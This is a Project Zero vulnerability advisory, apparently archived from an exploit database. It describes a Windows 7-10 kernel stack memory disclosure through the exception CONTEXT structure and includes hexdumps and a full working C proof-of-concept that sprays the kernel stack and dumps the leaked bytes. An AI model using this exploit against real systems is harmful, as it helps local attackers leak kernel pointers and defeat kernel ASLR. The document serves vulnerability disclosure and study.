1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 |
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1177 According to our tests, the generic exception dispatching code present in the Windows kernel (Windows 7-10) discloses portions of uninitialized kernel stack memory to user-mode clients via the CONTEXT structure set up for the ring-3 exception handlers. The attached proof-of-concept program can be used to reproduce the issue. It works by first spraying a full page of the kernel stack with a 0x41 byte ('A') using the nt!NtMapUserPhysicalPages system call (see [1]), then also spraying a page of user-mode stack (to recognize any false-positives) with a 0x78 ('x') byte, followed by raising an exception with a RaiseException() call and dumping the contents of the CONTEXT structure provided to the unhandled exception filter function. After running the program, we should observe the 'A' byte on output in place of disclosed kernel memory. On most tested platforms (Windows 7 64-bit, Windows 10 32/64-bit), running the 32-bit proof-of-concept program reveals 4 bytes of kernel stack memory at offset 0x88 of the structure. An example output is as follows: --- cut --- 00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................ 00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00[41 41 41 41]2b 00 00 00 ........AAAA+... 00000090: 53 00 00 00 2b 00 00 00 2b 00 00 00 50 fe 32 00 S...+...+...P.2. 000000a0: 84 fd 32 00 00 e0 fd 7e 00 00 00 00 85 3c 1d 59 ..2....~.....<.Y 000000b0: 1c fd 32 00 6c fd 32 00 4f c5 72 75 23 00 00 00 ..2.l.2.O.ru#... 000000c0: 46 02 00 00 1c fd 32 00 2b 00 00 00 7f 02 00 00 F.....2.+....... 000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................ 000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................ --- cut --- Offset 0x88 of the CONTEXT structure on x86 corresponds to the 32-bit CONTEXT.FloatSave.Cr0NpxState field, which appears to remain in an uninitialized state before being copied to user-mode. We have tested that with the kernel stack spraying disabled, these bytes contain varying values originating from the kernel memory space. On Windows 7 32-bit, we're observing a slightly different output: --- cut --- 00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................ 00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 3b 00 00 00 23 00 00 00 23 00 00 00 0c fe 2a 00 ;...#...#.....*. 000000a0: 40 fd 2a 00 00 f0 fd 7f 74 6c 8e 77 89 bb c8 38 @.*.....tl.w...8 000000b0: d8 fc 2a 00 28 fd 2a 00 5d 84 c3 75 1b 00 00 00 ..*.(.*.]..u.... 000000c0: 46 02 00 00 d8 fc 2a 00 23 00 00 00 7f 02 00 00 F.....*.#....... 000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................ 000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA 000002b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000002c0: 41 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? AAAAAAAAAAAA.... --- cut --- Here, we can see that 32 bytes from the kernel stack are leaked at the end of the CONTEXT structure, which correspond to the last bytes of the CONTEXT.ExtendedRegisters array. We have confirmed that when the spraying function is not invoked, this memory region discloses valid kernel-mode pointers. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <cstdio> extern "C" ULONG WINAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[4096]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } VOID SprayUserStack() { // Buffer allocated from the user-mode stack. BYTE buffer[4096]; MyMemset(buffer, 'x', sizeof(buffer)); } LONG WINAPI MyUnhandledExceptionFilter( _In_ struct _EXCEPTION_POINTERS *ExceptionInfo ) { PrintHex((PBYTE)ExceptionInfo->ContextRecord, sizeof(CONTEXT)); return EXCEPTION_CONTINUE_EXECUTION; } int main() { SetUnhandledExceptionFilter(MyUnhandledExceptionFilter); SprayKernelStack(); SprayUserStack(); RaiseException(1337, 0, 0, NULL); return 0; } |